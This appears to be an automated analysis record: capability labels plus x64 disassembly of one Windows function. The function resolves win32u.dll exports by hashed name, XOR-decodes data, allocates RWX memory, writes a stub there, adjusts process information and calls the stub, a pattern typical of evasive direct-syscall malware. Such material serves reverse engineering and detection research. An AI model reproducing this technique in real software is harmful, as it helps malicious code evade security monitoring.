Function at 0x180003670
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x110
mov rax, qword [0x180050040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov ebx, dword [0x18008a2c0]
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
mov r13, rdx
mov r12d, ecx
test ebx, ebx
jne 0x1800039ab
mov qword [r11 - 0x18], rdi
lea rcx, str.user32.dll
mov qword [r11 + 0x18], rbp
mov qword [r11 - 0x10], rsi
mov qword [r11 - 0x30], r14
mov qword [r11 - 0x38], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180003795
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x180003795
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x180003795
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x180003795
mov esi, dword [rax + 0x20]
xor ebx, ebx
mov r14d, dword [rax + 0x24]
add rsi, rdi
mov r15d, dword [rax + 0x1c]
add r14, rdi
mov ebp, dword [rax + 0x18]
add r15, rdi
test rbp, rbp
je 0x180003795
mov edx, dword [rsi + rbx*4]
xor r8d, r8d
add rdx, rdi
movzx r9d, byte [rdx]
test r9b, r9b
je 0x18000374c
inc r8
cmp byte [rdx + r8], 0
jne 0x180003742
lea ecx, [r9 - 0x41]
cmp cl, 0x19
lea eax, [r9 + 0x20]
movzx r10d, al
cmova r10d, r9d
test r8, r8
je 0x18000378d
dec r8
movsx rcx, r10b
inc rdx
xor rcx, 0x2b5a5
call fcn.180003ab0
movabs rcx, 0x260803ebd0300ea5
cmp rax, rcx
je 0x180003a99
inc rbx
cmp rbx, rbp
jb 0x180003730
xor ebx, ebx
mov r15, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x108]
mov rbp, qword [rsp + 0x130]
test rbx, rbx
jne 0x1800039a2
movups xmm0, xmmword [0x18004a8c8]
movzx eax, word [0x18004a8f0]
xor r8d, r8d
cmp dword [0x180050090], 2
movups xmm1, xmmword [0x18004a8d8]
mov word [rsp + 0x48], ax
movups xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x18004a8e8]
movsd qword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x30], xmm1
jl 0x180003949
movdqa xmm5, xmmword [0x18004b1c0]
lea rcx, [rsp + 0x20]
movdqa xmm4, xmmword [0x18004b280]
movaps xmmword [rsp + 0xd0], xmm6
movdqa xmm6, xmmword [0x18004b200]
movaps xmmword [rsp + 0xc0], xmm7
movdqa xmm7, xmmword [0x18004b230]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x180003840
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp r8d, 0x15
jge 0x180003998
movsxd rax, r8d
lea r9, [rsp + 0x20]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x38
xor word [r9 - 2], ax
cmp r8d, 0x15
jl 0x180003960
lea rcx, [rsp + 0x20]
call fcn.1800158e0
mov ebx, dword [rbx + 4]
mov dword [0x18008a2c0], ebx
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0xa0], rax
mov rax, qword [0x18008a290]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], r12
mov r12, qword [rsp + 0xf8]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x70], r13
mov r13, qword [rsp + 0xf0]
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
test rax, rax
jne 0x180003a18
mov edx, 0xb
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x18008a290], rax
mov dword [0x1800500e4], ebx
movsd xmm0, qword [0x1800500e0]
movsd qword [rax], xmm0
movzx ecx, word [0x1800500e8]
mov word [rax + 8], cx
movzx ecx, byte [0x1800500ea]
mov byte [rax + 0xa], cl
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x10
lea r8, [rsp + 0x50]
mov rcx, rax
mov edx, 0x28
call qword [sym.imp.KERNEL32.dll_SetProcessInformation]
mov edx, 0x20a89
lea rcx, [rsp + 0x60]
call qword [0x18008a290]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1800271c0
add rsp, 0x110
pop rbx
ret
movzx eax, word [r14 + rbx*2]
mov ebx, dword [r15 + rax*4]
add rbx, rdi
jmp 0x180003797